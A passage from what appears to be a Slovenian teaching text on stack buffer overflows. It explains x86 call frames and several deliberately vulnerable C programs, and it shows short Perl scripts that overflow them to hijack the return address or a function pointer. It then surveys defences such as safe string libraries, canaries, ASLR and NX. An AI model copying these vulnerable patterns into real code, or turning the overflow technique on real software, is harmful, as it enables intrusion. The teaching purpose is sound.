vmesnika je bila del črva Morris, ki je leta 1988 prizadel računalniška omrežja. Zatem je zadeva za nekaj časa potihnila, nakar sta bila problem in njegova zloraba v letih 1995 ter 1996 objavljena na medmrežju. Temu je sledil plaz napadov, ki se ni ustavil vse do današnjih dni ter se, kot kaže, še nekaj časa ne bo. Prvotno je bila znana le prekoračitev vmesnika na skladu (stack overflow, static overflow), nato pa so navdihnjeni raziskovalci odkrili še prekoračitev kopice (heap overflow), prekoračitev pri operacijah s celimi števili (integer overflow) ter pri uporabi ukazov za oblikovanje (format string). Problem je bolj vezan na programski jezik (to sta praviloma C in C++), kot platformo, saj je znan za vse vrste operacijskih sistemov, vgradnih sistemov (embedded systems), podatkovnih zbirk, spletnih strežnikov, požarnih zidov, šifrirnih programov, itd. Na osnovi prekoračitve vmesnika je pogosto mogoče izdelati orodje za vdor (exploit), s katerim lahko zatem vdre že malo naprednejši uporabnik (t.i.»hekerski malček« - script kiddie). Posebej nevaren je primer prekoračitve vmesnika v programih, ki so dostopni preko omrežja in delujejo v okviru sistemske ali skrbniške seje. V tem primeru lahko napadalec pridobi vse pravice na žrtvinem računalniku ter ga nato, ker ima administratorsko geslo in/ali stranska vrata (backdoor), nadzira preko omrežja ter uporablja za svoje (nečedne) posle. Prekoračitev vmesnika enostavno preprečimo z varnim programiranjem, ki ga resne programske hiše uporabljajo že leta, vseeno pa se napake dogajajo tudi njim. Zaradi novih in/ali lenih programerjev, pomanjkanja časa in predvsem zaradi obilja podedovane kode (legacy code), ki ni bila napisana v skladu s principi varnega programiranja. Ker je problem tako akuten, je stroka razvila metode, ki otežujejo zlorabe prekoračitev sklada pri uporabi programov s tako nevarno kodo. Primer takih programov so razni dodatki prevajalnikom in povezovalnikom, prilagojeni operacijski sistemi ter celo strojna oprema. StackGuard, StackShield, VC++ 2003 /GS, VC++ 2005 /GS, Propolice (sedaj se imenuje SSP (Stack-Smashing Protector)) so primeri varnostnih dodatkov prevajalnikom. Libsafe je dodatek povezovalniku. PaX, WIN XP SP2 pa so dodatki operacijskim sistemom ali kar že del operacijskih sistemov. Zaenkrat pa nobeden od njih ne nudi popolne zaščite. Za razumevanje prekoračitve vmesnika, je potrebno tudi poznavanje strojnega jezika (assembler) in arhitekture procesorja (v našem primeru x86). Poleg tega so prekoračitve vmesnika specifične tudi glede na vrsto operacijskega sistema. V našem prispevku bomo obravnavali predvsem prekoračitev sklada. 3.3 Prekoračitev sklada Programska jezika kot sta C in C++ uporabljata sklad za delo s podprogrami. Sklad deluje po principu zadnji gor, prvi dol (LIFO – Last In First Out). Pri naši obravnavi se bomo omejili na družino procesorjev Intel x86. Ti procesorji imajo registra SP (Stack Pointer) in BP (Base Pointer), ki sta posebej namenjena za delo s skladom. Pri naši obravnavi nas zanima predvsem sklad za klice funkcij Sklad za klice funkcij (call stack, execution stack, control stack ali function stack), v nadaljevanju kar sklad, je sklad, ki hrani podatke o aktivnih funkcijah programa, ki se izvaja. To so funkcije, ki jih je program sprožil, vendar še niso končale svojega izvajanja. Vsak program, ki se izvaja ima točno en tak sklad. Sklad služi za posredovanje parametrov, shranjevanje povratnega naslova, kazalca na trenutni okvir sklada, lokalnih spremenljivk klicane funkcije ter nekatere druge, za nas nepomembne namene. Struktura sklada je različna med različnimi programskimi jeziki, prevajalniki, operacijskimi sistemi in nabori ukazov (instruction set) . Sklad je sestavljen iz okvirjev sklada (stack frames - znani tudi kot activation records). Vsak okvir ustreza enemu klicu funkcije, ki se še ni zaključila, funkcija, ki se trenutno izvaja, ima okvir, ki je na vrhu sklada. Kadar funkcija kliče drugo funkcijo, se zanjo tvori nov okvir sklada. Ko se funkcija zaključi, pa se njen okvir sprosti (odstrani). Za navigacijo v okviru okvirja sklada, uporabljamo, ali kar sam kazalec vrha sklada (stack pointer) ali pa kazalec okvirja (frame pointer), ki kaže na točno določen naslov v okviru, ponavadi je to povratni naslov. Ob klicu nove funkcije se običajno v njen okvir shrani tudi kazalec okvirja trenutnega okvira . Ko pri izvajanju programa napisanega v jeziku C ali C++, pride do klica funkcije, program najprej naloži na sklad parametre funkcije v obratnem vrstnem redu. Nato se na sklad shrani trenutna vrednost števca instrukcij (IP – Instruction Pointer), to je naslov lokacije na kateri se bo, po izvedbi funkcije, nadaljevalo izvajanje (povratni naslov). Zatem se trenutni kazalec okvirja shrani v novo nastali okvir zato, da se po zaključku funkcije vrnemo na pravi okvir. Potem se na okvir sklada shrani še rezerviran prostor za lokalne spremenljivke funkcije . V splošnem je vsebina okvirja sklada v C-ju takšna, kot kaže Slika 1. Visoki naslovi pomnilnika – ... dno sklada Parametri funkcije (arguments) Povratni naslov (return address) Sklad raste Shranjeni kazalec okvirja (saved frame pointer) Lokalne spremenljivke funkcije ... Nizki naslovi pomnilnika – vrh sklada Slika 1: Kako se klic funkcije odrazi na skladu V Primeru 1 je podan program v Cju, ki vsebuje funkcijo in njen klic. # include # include void bla (const char * n1){ char vmesnik; ... } int main (int argc, char * argv[]) { bla (argv); ....} Primer 1: Klic funkcije v programskem jeziku C Na Primeru 2 vidimo, kaj se zgodi, ko program doseže bla(argv), v strojnem jeziku: push $1 ; to je argv call bla ; klic funkcije bla, povratni naslov, push eip push ebp ; na sklad shrani kazalec okvirja (SFP – Saved Frame Pointer) mov ebp, esp ; v dno sklada se naloži vrh sklada sub esp, 60h ; rezervira prostor za lokalno spremenljivko char vmesnik ; prostor se lahko rezervira le v večkratnikih besede, v našem primeru ; je 4 bajtna, zato ukaz rezervira 12 bajtov (to je 60 heksadecimalno) ... ... ; izvajanje ... ; izhod iz funkcije mov esp, ebp ; v vrh sklada se naloži dno sklada pop ebp ; SFP - shranjeni kazalec okvirja snamemo s sklada ret ; ukaz sname povratni naslov (to je prvi ukaz za call bla) ; in se postavi nanj Primer 2: Izvajanje funkcije iz Primera 1 v strojnem jeziku Če v funkcijah ne preverjamo vhodnih argumentov in uporabljamo funkcije, ki so na Seznamu 1, na način, ki je pokazan v funkciji s Primera 3, - sprintf - strncat.html - wcscpy - wsprintf - strcatbuff - mbscpy - wsprintfA - strcatbuffA - _mbscpy - wsprintfW - strcatbuffW - _tcscpy - strxfrm - strncpy - vsprintf - wcsxfrm - StrFormatByteSize - vstprint - _tcsxfrm - StrFormatByteSize - vswprintf - lstrcpy A - sscanf - lstrcpyn - StrFormatByteSize - swscanf - lstrcpynA W - stscanf - lstrcpyA - lstrcat - fscanf - lstrcpyW - wcscat - fwscanf - swprintf - mbscat - ftscanf - _swprintf - _mbscat - vscanf - gets - strcpy - vsscanf - stprintf - strcpyA - vfscanf - strcat - strcpyW Seznam 1: Nepopoln seznam varnostno problematičnih funkcij v C-ju void bla (const char * n1){ char vmesnik; strcpy (vmesnik, n1); ... } Primer 3: Varnostno ranljiva funkcija lahko to pomeni varnostni problem. Jedro problema je v tem, da je lahko podani argument n1 daljši od enajstih znakov. V tem primeru argument n1 na skladu najprej napolni ves prostor namenjen polju vmesnik ker pa to ne zadošča, odvisno od dolžine prepiše vsebino morebitnih predhodnih lokalnih spremenljivk, shranjenega kazalca okvirja, povratnega naslova in prostor podanih argumentov. Kaj to pomeni? Če se omejimo najprej na povratni naslov: ko se bo funkcija zaključila, se izvajanje ne bo nadaljevalo na prvem naslovu za klicem funkcije, ampak na naslovu, ki je zaradi predolgega argumenta »pokvarjen«. Rezultat bo najverjetneje opozorilo o kršenju dostopa (Access Violation, Segmentation Fault ...) in prisilni konec programa. Zakaj je to varnostno problematično? Če heker ustrezno oblikuje argument, ki ga bo podal funkciji, lahko prepiše povratni naslov v okvirju sklada tako, da kaže na poljubno mesto v pomnilniku . Tako preusmeri izvajanje programa na svojo kodo, s katero običajno sproži lupino operacijskega sistema oziroma ukazno vrstico . Če program teče v okviru sistemske ali skrbniške seje, mu to daje vse pravice na računalniku. Ustvari si svoj skrbniški račun, naloži svoje programe, si omogoči prijazen oddaljen dostop itd. Na Primeru 4 vidimo varnostno ranljiv program. V funkciji bla imamo lokalno polje vmesnik z 11 znaki, v katerega kopiramo parameter n1. Problem je v tem, da parameter n1 dolžinsko ni omejen, polje vmesnik, pa je. Kadar je n1 daljši, v splošnem prepiše najprej morebitne druge prej definirane lokalne spremenljivke (v Primeru 4 sicer niso podane), potem shranjen kazalec okvirja, nato povratni naslov in v končni fazi tudi funkciji podan parameter . Buffcopy.c # include # include void bla (const char * n1){ char vmesnik; printf("Stanje na skladu je \n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n"); strcpy(vmesnik, n1); printf ("Vnesli ste %s\n",vmesnik); printf("Novo stanje na skladu je \n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n"); } void bah (void){ printf("Ne bi me smelo izpisati\n"); } int main (int argc, char * argv[]) { printf("Naslov bla je \n%p\n", bla); printf("Naslov bah je \n%p\n", bah); bla (argv); return 0; } Primer 4: Varnostno ranljiv program Kot lahko vidimo funkcije bah ob običajnem izvajanju nikoli ne kličemo, kar pomeni, da se nikoli ne izpiše »Ne bi me smelo izpisati«. Vendar, če ta program zaženemo s skripto v Perlu s Primera 5, se funkcija bah vseeno izvede. Buffcopy.pl #!\usr\bin\perl $arg = 'A' x 16 . "\x45\x10\x40"; print $arg; $cmd = 'buffcopy ' . $arg; system($cmd); 1; Primer 5: Perl skripta s prekoračitvijo vmesnika programa s Primera 4 Programu buffcopy smo podali niz s šestnajstimi znaki A (lahko bi podali tudi poljubne druge ne- kontrolne ASCII znake) ter heksadecimalne \x45, \x10 in \x40 (0x00401045), ki predstavljajo naslov na katerem se nahaja funkcija bah. Tako se tekst »Ne bi me smelo izpisati«, vendarle izpiše. V praksi to običajno ni tako enostavno, v okviru programa marsikdaj ni kode za klic lupine operacijskega sistema, podani niz (exploit) ne sme vsebovati znaka \x00, ker je to za programski jezik C ničelni znak (\0), ki takoj zaključi niz – znakov za \x00 več ne upošteva . To je za napadalca problem predvsem v operacijskih sistemih Windows, ker je tam sklad na t.i. Low Land naslovih (naslovih od 0x00000000 do 0x7FFFFFFF). Glede na to so operacijski sistemi Windows vsaj malo varnejši kot Linux, ker je, zaradi tega zloraba prekoračitve sklada na lokacijah od 0x00000000 do 0x00FFFFFF težja. Kot smo rekli, je zloraba mogoča pri vseh funkcijah za delo z nizi, ki ne preverjajo dolžine niza. Na Primeru 6 je prikazana nevarna uporaba funkcije strcat in kazalca na funkcijo. buffVarNovi.c # include # include void bee1 (void) {printf("Argument, ki je lihe dolzine\n");} void bee2 (void) {printf("Argument, ki je sode dolzine\n");} void beh(void(*kazNaFunkcijo)(void)){ kazNaFunkcijo(); } void bla (const char * n1){ long *kazalec; char vmesnik[21]; printf("Stanje na skladu je \n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n"); if ((strlen(n1) % 2) == 1) {kazalec = &bee1;} else {kazalec = &bee2;} strcpy(vmesnik,"Vnesli ste "); strcat(vmesnik, n1); printf ("%s\n",vmesnik); printf("Novo stanje na skladu je \n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n"); beh(kazalec); } void bah (void){ printf("Ne bi me smelo izpisati\n"); } int main (int argc, char * argv[]) { printf("Naslov bla je \n%p\n", bla); printf("Naslov bah je \n%p\n", bah); printf("Naslov beh je \n%p\n", beh); printf("Naslov bee1 je \n%p\n", bee1); printf("Naslov bee2 je \n%p\n", bee2); bla (argv); return 0; } Primer 6: Nevarna uporaba funkcije strcat() in kazalca na funkcijo buffVarNovi.pl #!\usr\bin\perl $arg = 'A' x 17 . "\xB8\x10\x40"; print $arg, "\n"; $cmd = 'buffVarNovi ' . $arg; system($cmd); 1; Primer 7: Zloraba programa s Primera 6 Ta program, ni specifičen, samo zaradi uporabe funkcije strcat(), ampak tudi, ker smo pokazali, da je zloraba mogoča tudi preko lokalne spremenljivke, če je ta kazalec na funkcijo. Na isti način je zloraba mogoča tudi preko argumentov podanih funkciji, če je kateri od njih kazalec na funkcijo, kar lahko vsak bralec izdela sam. Pravzaprav za zlorabo preko lokalne spremenljivke ali argumenta, ni nujno, da gre za kazalec na funkcijo, zadostuje že, da je kazalec na strukturo, ki vsebuje kazalec na funkcijo (takšen primer lahko izdela naprednejši bralec) . Napad s prekoračitvijo sklada, je mogoč tudi preko shranjenega kazalca okvirja . Povratni naslov funkcije in shranjen kazalec okvirja sta povezana z naslednjimi odvisnostmi: - lokacijo povratnega naslova določimo s kazalcem okvirja - ko se funkcija zaključi, kazalcu okvirja priredimo vrednost shranjenega kazalca okvirja Zloraba je mogoča, kadar druga funkcija kliče funkcijo, v kateri je mogoče prepisati shranjen kazalec okvirja. Na skladu ene izmed funkcije mora napadalec na naslovu na katerega kaže prepisan shranjen kazalec okvirja vpisati svoj povratni naslov, to je naslov na katerem se nahaja zlonamerna koda. Tok izvajanja se preusmeri na napadalčevo kodo potem, ko se zaključi tudi nadrejena funkcija . Ta napad je posebej zanimiv zaradi tega, ker lahko uspe tudi, kadar se je programer pri velikosti vmesnika, uštel za en sam bajt. Poleg pogoja, da napadalec lahko piše na pravo lokacijo v okviru sklada, mora biti velikost vmesnika deljiva s štiri, sicer ni mogoče prepisati najnižjega bajta vmesnika . Tako je program s Primera 8 potencialno ranljiv. #include #include int i; void bla(const char *n2){ char vmesnik[256]; strncpy(vmesnik, n2, sizeof(vmesnik)); vmesnik[256] = '\0'; /* Varianta je tudi */ /* for (i=0; i<=sizeof(vmesnik); i++) { vmesnik[i] = n2[i]; } */ printf("%s\n", vmesnik); printf("%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n"); } void bah (void){ printf("Ne bi me smelo izpisati\n"); } int main(int argc, char *argv[]){ printf("bla %p bah %p\n", bla, bah); bla(argv); return 0; } Primer 8: Program je lahko ranljiv, tudi če je mogoče prepisati en sam bajt Naslednji vir težav so funkcije v C-ju, ki podanega niza ne zaključijo z ničelnim znakom, če je ta daljši od dovoljene dolžine (Seznam 2). Med temi so celo funkcije, ki so namenjene preprečevanju prekoračitve vmesnika. - strncpy - strncat - fread - read - readv - pread - memcpy - memccpy - bcopy - gethostname Seznam 2: Nepopoln seznam funkcij, ki niza ne zaključijo z ničelnim znakom, če je niz predolg Primer te vrste ranljivosti (Primer 9) // null.c # include # include void bla (const char * n1, const char * koncnica){ char vmesnik; printf("Stanje na skladu je \n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n"); strncpy(vmesnik, n1, sizeof(vmesnik)); if (strchr(vmesnik, '.') == NULL) { strncat(vmesnik,".", sizeof(vmesnik) - strlen(vmesnik) - 1); strncat(vmesnik, koncnica, sizeof(vmesnik) - strlen(vmesnik) - 1); } printf ("Vnesli ste %s\n",vmesnik); printf("Novo stanje na skladu je \n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n"); } void bah (void){ printf("Ne bi me smelo izpisati\n"); } int main (int argc, char * argv[]) { printf("Naslov bla je \n%p\n", bla); printf("Naslov bah je \n%p\n", bah); bla (argv, argv); return 0; } Primer 9: Ranljivost funkcij strncpy in strncat, ker predolgega niza ne zaključita z ničelnim znakom V primeru, da je parameter n1 daljši, kot 11 znakov, ti znaki v polju vmesnik ne bodo ustrezno zaključeni z ničelnim znakom . Samo zaradi tega pa program še ni ranljiv, problem je v tem, da funkcija strlen prešteva znake, vse dokler ne pride do ničelnega. Zaradi tega je rezultat izraza sizeof(vmesnik) - strlen(vmesnik) – 1 manjši od nič, torej negativna vrednost, kar je v tem primeru v resnici veliko pozitivno število in polje vmesnik je mogoče prekoračiti, spremeniti povratni naslov ter izvesti zlonamerno kodo. Primer napada na kodo iz Primera 9 je v Primeru 10. #!\usr\bin\perl $arg1 = 'A' x 12; $arg2 = "\xA8\x10\x40\x00"; $cmd = 'null ' . $arg1 . ' ' . $arg2; system($cmd); 1; Primer 10: Napad na kodo s Primera 9 3.4 Varno kodiranje Najboljši način zaščite pred prekoračitvami vmesnikov je varno programiranje. Kot smo že rekli, so najbolj nevarne funkcije za delo z nizi . Najnevarnejše med njimi so: strcpy(), strcat(), gets(), sprintf(). Te funkcije je najboljše odstraniti iz programov oziroma jih nadomestiti z varnejšimi. Ena možnost je naslednji način: #define strcpy NEVAREN_strcpy Tak makro damo na začetek programa in poženemo prevajanje, prevajalnik nato javi napako pri vsaki pojavitvi funkcije strcpy() oziroma druge nevarne funkcije. Funkcijo strcpy(), nato zamenjamo s strncpy(), pri kateri pa moramo paziti, da je zadnji element v nizu ničelni znak, sicer nevarnosti nismo (povsem) odstranili. Podobno obdelamo preostale nevarne funkcije. Kadar delamo s programskim jezikom C++, je za delo z nizi najbolje uporabljati podatkovni tip za nize (string) iz standardne knjižnice predlog (STL – Standard Template Library), iz ATL (Active Template Library) razred CComBSTR in iz MFC (Microsoft Foundation Classes) razred CString . Za delo s C++ imamo torej tri razrede z varnimi funkcijami za delo z nizi. Leta 2002, pa je Microsoft izdelal še knjižnico strsafe.h, ki nudi podobno varnost za C . Njene funkcije nize vedno zaključijo z ničelnim znakom, vedno preverijo dolžino ciljnega vmesnika in vse vračajo enoznačno kodo HRESULT. Knjižnico preprosto vključimo z: #include ''strsafe.h'' V njej so funkcije kot: - StringCchCopy, ki je izboljšava funkcije strncpy - StringCchCat, ki je izboljšava funkcije strncat Poleg tega obstajajo še Ex inačice teh funkcij . Omogočajo določitev zadnjega znaka v trenutnem vmesniku, količino preostalih znakov do konca vmesnika, prazen prostor v vmesniku lahko napolni z izbranim znakom, če funkcija ne uspe lahko v ciljni vmesnik vpiše vrednost NULL ... Vse te izboljšave zahtevajo več procesne moči, vendar običajno ne več kot 50%. Med novejše pobude spada tudi standard ISO/IEC TR 24731, ki je namenjen predvsem za odpravo varnostnih problemov v podedovani kodi. Nudi varnejše inačice funkcij, ki so varnostno problematične. Tako predpisuje funkcije strcpy_s(), strcat_s(), strncpy_s() in strncat_s(), namesto teh funkcij brez _s . Načrtovane so tako, da zamenjava starih, nevarnih funkcij zahteva minimum napora.. Te funkcije so vgrajene v Microsoftovem Visual C++ 2005, kmalu pa bodo dostopne tudi v drugih C prevajalnikih. V primeru, pa da razvijamo novo kodo v programskem jeziku C in je varnost zelo pomembna, je najbolje uporabiti knjižnico za upravljane nize (managed strings). Njene funkcije (če jih pravilno uporabljamo) rešujejo problem prekoračitve vmesnikov, zaključevanja nizov z ničelnim znakom (null- termination), rezanja nizov (truncation) in omogočajo filtriranje nedovoljenih znakov (bad characters). Funkcije poleg tega enolično uspejo ali ne uspejo (succeed or fail), programski vmesnik (API) in semantika sta podobna standardnemu C-ju. Pri upravljanih nizih se dolžina nizov dinamično spreminja, ker se po potrebi prostor dodaja. Problem pa je upravljanje s pomnilnikom, zahteva tudi več procesne moči in pomnilnika. Poleg tega je mogoč napad z blokado delovanja (denial-of-service), če ne omejimo dolžine vnosov . 3.5 Zaščita s prevajalniki Ker je varnostne napake povezane s prekoračitvijo vmesnikov posebej v podedovani kodi pogosto težko odstraniti, je leta 1997 Crispin Cowan, predlagal dodatek k C prevajalniku, ki bi onemogočal prepis povratnega naslova funkcije. Ta dodatek pri prevajanju programa, pri klicih funkcij in izhodih iz njih, doda zaščitno kodo. Bistvo ideje je, da na skladu med povratni naslov in shranjen okvir, vstavi tako imenovanega »kanarčka« (canary). Ime je dobil na osnovi varnostnega ukrepa rudarjev, ki so v rudnike jemali kanarčke, kot biološke detektorje za nevarne pline. Če pride do prekoračitve vmesnika, predolgi vnos »povozi« tudi kanarčka . Vrednosti kanarčkov so treh vrst: - Zaključitvene (terminator) v tem primeru je praviloma vrednost sestavljena iz naslednjih heksadecimalnih znakov: 0x00 (ničelni znak), 0x0A (konec vrstice LF), 0xFF (-1) in 0x0D (znak Enter CR), skupaj 0x000AFF0D. Vsak od teh znakov blokira eno od ranljivih funkcij. Na primer 0x00 ustavi prepisovanje s strcpy(), 0x0A gets() ... - Naključne (random) v tem primeru dodatna koda ustvari naključno vrednost, ki se shrani, kot globalna spremenljivka na težko dostopno mesto. To je ključnega pomena, saj v primeru, da pride ta spremenljivka v roke napadalca, sledi vdor. - Naključne z eksluzivnim ali (random XOR) so izboljšava naključne vrednosti kanarčka. Pri teh ne samo, da koda za kanarčka tvori naključno vrednost, temveč izvede še operacijo ekskluzivni ali (XOR) te vrednosti s vsemi ali nekaterimi nadzornimi podatki (control data). To napadalcu oteži delo saj mora poznati vrednost kanarčka, nadzorne podatke (povratni naslov...) in algoritem. Dodana koda pred izhodom iz funkcije preveri ali se je vrednost kanarčka spremenila in eventualno kršitev ustrezno obdela. Te ideje so bile najprej implementirane v izdelku StackGuard, ki je dodatek k gcc (GNU Compiler Collection), oziroma je že del gcc (gcc deluje na večini Linux in Unix sistemov). Toda ta metoda se ni pokazala za dovolj učinkovito, saj zaščiti le povratni naslov in parametre funkcije, ne rešuje problema prepisovanja shranjenega okvirja, prepisovanja kazalcev na funkcije in prepis enega bajta (Off-By-One).. Na osnovi StackGuard-a je Hiroaki Etoh razvil SSP (Stack-Smashing Protector), ki se je na začetku imenovan ProPolice. SSP nudi boljšo zaščito, ker poleg kanarčka preuredi sklad tako, da so spremenljivke vmesniki na vrhu in tako ni mogoče prepisati kazalcev na funkcije. Poleg tega je kanarček premaknjen pred shranjen kazalec okvirja in tako niso možni napadi s prepisovanjem shranjenega okvirja in prepisi enega bajta. Tudi SSP je mogoče dobiti, kot dodatek za gcc, je bolj neodvisen od platform (operacijskih sistemov in vrste procesorja), kot StackGuard, ker deluje na predelavi izvorne kode . Čeprav je ideja dobra obstajajo funkcije, ki jih ni mogoče zaščititi. Takšne so na primer: funkcije, ki vsebujejo strukture v katerih so kazalci in znakovna polja, funkcije, ki imajo spremenljivo število argumentov različnih tipov, funkcije z dinamično alociranimi znakovnimi polji in funkcije, ki kličejo »odskočno« kodo (trampoline code) . Nazadnje se je prebudil tudi Microsoft in v svoje C/C++ prevajalnike začenši z VisualStudio.NET 2003 vgradil opcijo /GS, (njeno delovanje je večinoma povzeto po rešitvi SSP). Povrhu vsega so hiteli in je zato v njej več pomanjkljivosti. V VisualStudio.NET 2005 je večina teh pomanjkljivosti odpravljena (oziroma še niso odkrite ;)). Zaščita je dodatno izboljšana z varnostnimi dodatki operacijskim sistemom Windows XP (SP2), Windows 2003 (SP1) ter posebej Windows Visti. 3.6 Zaščita pri povezovanju programa Ta vrsta zaščite deluje tako, da ko izvršljiv program dostopa do standardnih knjižnic, prestreza klice funkcij: strcpy, strcat, getwd, gets, [vf]scanf, realpath in vsprintf ter jih zamenja z varnimi. Vendar se malo uporablja, ker v mnogo primerih ne deluje, nasprotno, pogosto povzroča dodatne probleme. Program o katerem govorimo je libsafe . Deluje samo na nekaterih Linux distribucijah. 3.7 Oteževanje zlorabe na nivoju operacijskega sistema Da bi napadalec s pomočjo prekoračitve vmesnika pridobil nepooblaščen dostop do operacijskega sistema, mora najprej vstaviti svojo kodo ter nato vanjo usmeriti tok izvajanja. Kodo je odvisno od položaja, mogoče vstaviti v sklad, kopico ali klicati primerno funkcijo iz katere od knjižnic . Preusmeritev pa je najlažje izvesti preko »odskočne« kode (trampoline) ali s prepisom kazalca na funkcijo, ki se nahaja na predvidljivem naslovu (npr. kazalec UEF - Unhandled Exception Filter). Te tehnike zelo otežimo, če naključno spreminjamo naslovni prostor segmentov, knjižnic, kot tudi sklada in kopice. Napadalec tako nima oporne točke. Ta tehnologija je znana kot ASLR (Address Space Layout Randomization) in že več let obstaja za Linux/Unix operacijske sisteme, medtem ko je v operacijskih sistemih Windows vgrajena v celoti šele v Windows Visto (kar je tudi ena od najpomembnejših novosti glede na XP SP2). Windows XP s SP2 vsebujejo samo naključno razporeditev PEB-a (Process Environment Block), pa še to je mogoče hitro premagati, ker se naslovi spreminjajo le med 256-timi vrednostmi . Druga pomembna metoda s katero napadalcu otežimo vdor je, da v določenih delih uporabniškega pomnilnika prepovemo izvajanje kode (NX – No eXecute ali DEP – Data Execution Prevention), tipična takšna naslovna prostora sta sklad in kopica. Obe metodi, ASLR in NX sta vsebovani v popravku za Linux jedra, ki se imenuje PaX. NX oziroma DEP je v popravku PaX izveden na dva načina. Prvi način je prepoved izvajanja na skladu, kopici in drugod s PAGEEXEC. Če ga aktiviramo se upočasni delovanje računalnika. Drugi način je SEGMEXEC. Ta način ne upočasni delovanja računalnika, zato pa se uporabniški naslovni prostor prepolovi . Kmalu se je pojavil še en zanimiv pristop, ki se imenuje W^X (Write xor eXecute), ki v označenih pomnilniških naslovih omogoča pisanje ali izvajanje, vendar ne obojega hkrati. Uporablja se na BSD operacijskih sistemih. Tudi Windows XP SP2 in 2003 SP1 imata poleg strojno/programskega DEP-a, tudi programsko izveden DEP (ne glede na strojno opremo), ki pa je relativno omejen . 3.8 Oteževanje zlorabe na nivoju strojne opreme Zlorabo vmesnika je mogoče otežiti tudi s pomočjo strojne opreme, natančneje s kombinacijo strojne in programske opreme. Novejši procesorji, posebej 64 bitni, večinoma vsebujejo podporo prepovedi izvajanja v izbranih delih pomnilnika. AMD-jevi procesorji imajo NX (No eXecutable) bit, pri Intelu pa ta bit imenujejo XD (eXecute Disable). S tem bitom označimo pomnilniške strani, ki jih program označi kot podatkovne. Pri poizkusu izvajanja kode na takšni označeni strani, se sproži izjema. Podobno funkcionalnost so že predtem na Unix platformah imeli RISC procesorji. Če operacijski sistem podpira to dodatno zmožnost procesorja, je računalnik dodatno zaščiten. Windows XP SP2 in 2003 SP1 poleg programskega DEP podpirata tudi te nove možnosti procesorjev, vendar je njuna izvedba za podporo NX bita nekoliko vprašljiva. Namreč, ko zaznata, da se na pomnilniškem naslovu, kjer je izvajanje prepovedano, to vseeno poizkuša, se sproži izjema . Žal pa se predtem najprej izvede zajeten kos kode iz uporabniškega naslovnega prostora (kar bi lahko bilo problematično), šele potem se proces zaključi. NX je pri njima mogoče vključiti ali izključiti globalno ter po potrebi, lokalno, za kakšen proces izključiti . 3.9 Sklep Prekoračitve vmesnikov so gotovo še vedno zelo pereč problem. Naša življenja so vedno bolj odvisna od računalnikov in omrežij, zato je računalniška varnost zelo pomembna. Hekerji niso več samo inteligentni, zdolgočaseni, nadebudni najstniki, ki se z vdori ukvarjajo za zabavo in samodokazovanje, ampak tudi nevarni kriminalci in teroristi. Ker so prekoračitve vmesnikov tako velika grožnja varnosti računalniških sistemov, moramo vedeti, kako zlorabo otežiti, če že ne onemogočiti. Ob poznavanju problema, uporabi opisanih metod, smo relativno varni. Vendar se moramo zavedati, da so tudi napadalci vedno boljši. Problem je še dejstvo, da opisane tehnike zaščite, dobro delujejo v teoriji, v praksi pa teh tehnik pogosto ni mogoče zadovoljivo izvesti. Poleg tega je v mnogih organizacijah prisotna slabo vzdrževana, neustrezno zaščitena, stara strojna in programska oprema. Takšni sistemi napadalcem omogočajo infiltracijo v omrežje organizacije. Z njih nato, na druge načine kompromitirajo bolje zaščitene računalnike. Prekoračitev vmesnika je problem tudi, kadar gre za nize, ki so alocirani na kopici - trenutno je ranljivost kopice večja od ranljivosti sklada. Varnostne probleme, ki izvirajo iz programske kode, povzročajo tudi nekatere druge, s prekoračitvami povezane, v uvodu navedene napake programerjev. 3.10 Viri informacij PINCUS Jonathan, BAKER Brandon: Beyond Stack Smassing: Recent Advances in Exploiting Buffer Overruns, IEEE Computer Society, 2004. ANISIMOV Alexander: Defeating Microsoft Windows XP SP2 Heap Protection and DEP Bypass, http://www.ptsecurity.com, 2005 HOWARD Michael, LEBLANC David: Writing Secure Code, Microsoft Press, 2003 HOGLUND Greg, MCGRAW Gary: Exploiting Software: How to Break Code, Addison-Wesley, 2003 NAGY Ben: Beyond NX, http://www.pakcon.org/post-pc-2005/pc-khi-05-ben-presentation.pdf, 2005 Skape, Skywing: Bypassing Windows Hardware-enforced Data Execution Prevention 2005, http://www.nologin.org/main.pl?action=papersList& 5.3.2007 Hall Burch, Fred Long, Robert Seacord: Specifications for Managed Strings, 2006 Gerardo Richarte: Four different tricks to bypass StackShield and StackGuard protection, 2002 ISO Standard: ISO/IEC TR 24731, 2006 Skape: Understanding Windows ShellCode, 2003, http://www.nologin.org/main.pl?action=papersList& 5.3.2007 eEye Digital Security: Generic Anti-Exploitation Technology for Windows, 2007 Starr Andersen: Data Execution Prevention, 2004, http://www.microsoft.com/technet/prodtechnol/winxppro/maintain/sp2mempr.mspx Zeshan Ghory: Protecting Systems with Libsafe, 2001, http://www.securityfocus.com/infocus/1412 Robert Seacord: Managed String Library for C, 2005, http://www.cert.org/secure-coding/managedstring.html Using the strsafe.h functions: http://msdn2.microsoft.com/en-us/library/ms647466.aspx , 2007 Wikipedia: Stack-smashing protection, http://en.wikipedia.org/wiki/Stack-smashing_protection 2007 Aleph One: Smashing The Stack For Fun And Profit, Phrack 49, 1996 http://www.phrack.org/archives/49/P49- 14 2007 Wikipedia: Buffer Overflow, http://en.wikipedia.org/wiki/Buffer_overflow, 2006 Wikipedia: Call Stack, http://en.wikipedia.org/wiki/Call_stack, 2006 4 Varnostni problemi pri uporabi kopice 4.1 Uvod Pri prekoračitvah vmesnika je najbolj znana prekoračitev sklada (stack overflow), takoj zatem pa po pogostosti sledi prekoračitev kopice (heap overflow). Operacijski sistemi Okna niso imuni na problem prekoračitve kopice (kakor tudi ne na prekoračitve sklada), posebej prizadete so različice pred Okni XP SP2, ranljiva pa je tudi ta. V prispevku bomo predstavili zgradbo in delovanje kopice v Oknih, možne zlorabe v različicah pred XP SP2. Zatem bomo opisali nove varnostne mehanizme vpeljane z SP2 in nazadnje možnosti, kako zaobiti tudi te. Čeprav je (bila) večina odkritih prekoračitev vmesnika, prekoračitev sklada (stack overflow) imamo sedaj tudi več primerov prekoračitev kopice. Prekoračitev kopice prav tako nastane zaradi nepreverjene dolžine vnesenega vhodnega podatka, ki nato prepiše sosednje naslove. Ker je organizacija kopice drugačna, kot sklada, so 